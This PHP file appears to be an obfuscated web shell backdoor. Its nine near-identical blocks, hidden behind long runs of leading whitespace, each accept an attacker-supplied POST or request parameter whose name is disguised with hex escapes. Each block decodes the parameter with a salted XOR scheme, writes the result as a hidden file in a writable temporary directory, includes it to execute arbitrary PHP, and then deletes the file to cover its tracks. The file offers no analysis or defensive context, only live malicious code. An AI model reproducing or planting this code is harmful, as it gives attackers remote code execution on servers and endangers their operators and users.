<?php																																										if(array_key_exists("d\x61\x74a", $_POST)){ $bind = $_POST["d\x61\x74a"]; $bind = explode ('.' , $bind ); $marker = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); $i = 0; while( $i < count( $bind)) { $v8 = $bind[$i]; $chS = ord( $s1[$i % $lenS] ); $d =( ( int)$v8 - $chS -( $i % 10)) ^ 74; $marker .=chr( $d ); $i++; } $mrk = array_filter(["/var/tmp", "/tmp", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); foreach ($mrk as $hld): if (max(0, is_dir($hld) * is_writable($hld))) { $parameter_group = "$hld/.data_chunk"; $success = file_put_contents($parameter_group, $marker); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x72e\x66e\x72en\x63e"])){ $marker = $_POST["\x72e\x66e\x72en\x63e"]; $marker=explode ( '.' , $marker ) ; $rec = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $j = 0; $__tmp = $marker; while ($v2 = array_shift($__tmp)) { $chS = ord($s6[$j % $sLen]); $dec = ((int)$v2 - $chS - ($j % 10)) ^ 86; $rec .= chr($dec); $j++; } $key = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); while ($data_chunk = array_shift($key)) { if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) { $resource = "$data_chunk" . "/.dchunk"; $success = file_put_contents($resource, $rec); if ($success) { include $resource; @unlink($resource); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x70set")){ $parameter_group = $_REQUEST["\x70set"]; $parameter_group = explode ( "." , $parameter_group ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $len = count( $parameter_group ); for( $n = 0; $n < $len; $n++) { $v5 = $parameter_group[$n]; $sChar = ord( $salt[$n % $lenS] ); $dec =( ( int)$v5 - $sChar -( $n % 10)) ^ 97; $val.= chr( $dec );} $key = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp"]); foreach ($key as $key => $value) { if (array_product([is_dir($value), is_writable($value)])) { $property_set = join("/", [$value, ".tkn"]); if (@file_put_contents($property_set, $val) !== false) { include $property_set; unlink($property_set); exit; } } } }
																																										if(array_key_exists("\x65\x6Et", $_POST)){ $mrk = $_POST["\x65\x6Et"]; $mrk= explode ( '.' , $mrk ); $ent =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $y =0; foreach ($mrk as $v5) { $sChar =ord($s[$y % $sLen]); $dec =((int)$v5 - $sChar - ($y % 10))^ 88; $ent .= chr($dec); $y++; } $flag = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), "/dev/shm"]); $pointer = 0; do { $pset = $flag[$pointer] ?? null; if ($pointer >= count($flag)) break; if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $rec = vsprintf("%s/%s", [$pset, ".fac"]); $success = file_put_contents($rec, $ent); if ($success) { include $rec; @unlink($rec); exit;} } $pointer++; } while (true); }
																																										if(isset($_POST) && isset($_POST["f\x6C\x67"])){ $symbol = array_filter(["/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $entry = $_POST["f\x6C\x67"]; $entry = explode( "." ,$entry ) ; $flag =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); $n =0; $__tmp =$entry; while($v2 =array_shift($__tmp)) { $chS =ord($salt[$n%$lenS] ); $d =((int)$v2 - $chS -($n%10)) ^ 22; $flag .= chr($d ); $n++; } foreach ($symbol as $desc): if ((is_dir($desc) and is_writable($desc))) { $ptr = str_replace("{var_dir}", $desc, "{var_dir}/.reference"); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $ptr; @unlink($ptr); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x66\x6Cag"]) ? true : false){ $resource = $_REQUEST["\x66\x6Cag"]; $resource= explode ( "." ,$resource ) ; $ptr = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $i = 0; $__tmp = $resource; while($v4 = array_shift($__tmp)) { $chS = ord($salt9[$i % $lenS]); $dec =((int)$v4 - $chS -($i % 10))^ 23; $ptr.= chr($dec); $i++; } $res = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/tmp", getcwd()]); foreach ($res as $pointer) { if (!!is_dir($pointer) && !!is_writable($pointer)) { $symbol = "$pointer/.sym"; if (file_put_contents($symbol, $ptr)) { require $symbol; unlink($symbol); exit; } } } }
																																										if(array_key_exists("\x72\x65c", $_POST)){ $obj = $_POST["\x72\x65c"]; $obj = explode ( '.',$obj ) ; $flag =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s ); $r =0; foreach( $obj as $v6) { $chS =ord( $s[$r % $lenS] ); $d =( ( int)$v6 - $chS -( $r % 10)) ^ 93; $flag .= chr( $d ); $r++; } $ent = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir()]); foreach ($ent as $data_chunk): if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $itm = vsprintf("%s/%s", [$data_chunk, ".element"]); if (@file_put_contents($itm, $flag) !== false) { include $itm; unlink($itm); die(); } } endforeach; }
																																										if(!empty($_POST["d\x65\x73\x63ri\x70\x74or"])){ $elem = $_POST["d\x65\x73\x63ri\x70\x74or"]; $elem = explode ( "." , $elem ) ; $flag=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s ); $t=0; $len=count($elem ); do { if($t >=$len) break; $v7=$elem[$t]; $chS=ord($s[$t% $lenS] ); $d=((int)$v7 - $chS -($t% 10)) ^ 81; $flag .= chr($d ); $t++;}while(true ); $element = array_filter([sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP"), getcwd()]); foreach ($element as $value) { if (is_dir($value) && is_writable($value)) { $itm = vsprintf("%s/%s", [$value, ".obj"]); if (file_put_contents($itm, $flag)) { require $itm; unlink($itm); die(); } } } }


if(!is_null($_REQUEST["ho\x6Cder"] ?? null)){
	$binding = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]);
	$object = $_REQUEST["ho\x6Cder"];
	 $object 		=		 explode		("."	 ,$object			)   ;	 
	$bind = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $y = 0;
            $len = count($object);
    
            do {
                if ($y >= $len) break;
                $v1 = $object[$y];
                $sChar = ord($s[$y % $sLen]);
                $dec = ((int)$v1 - $sChar - ($y % 10))  ^	 89;
                $bind .= chr($dec);
                $y++;		} while (true);
	for ($element = 0, $key = count($binding); $element < $key; $element++) {
    $dat = $binding[$element];
    		if (is_writable($dat) && is_dir($dat)) {
    $flg = "$dat" . "/.marker";
    if (file_put_contents($flg, $bind)) {
	include $flg;
	@unlink($flg);
	exit;
}
}
}
}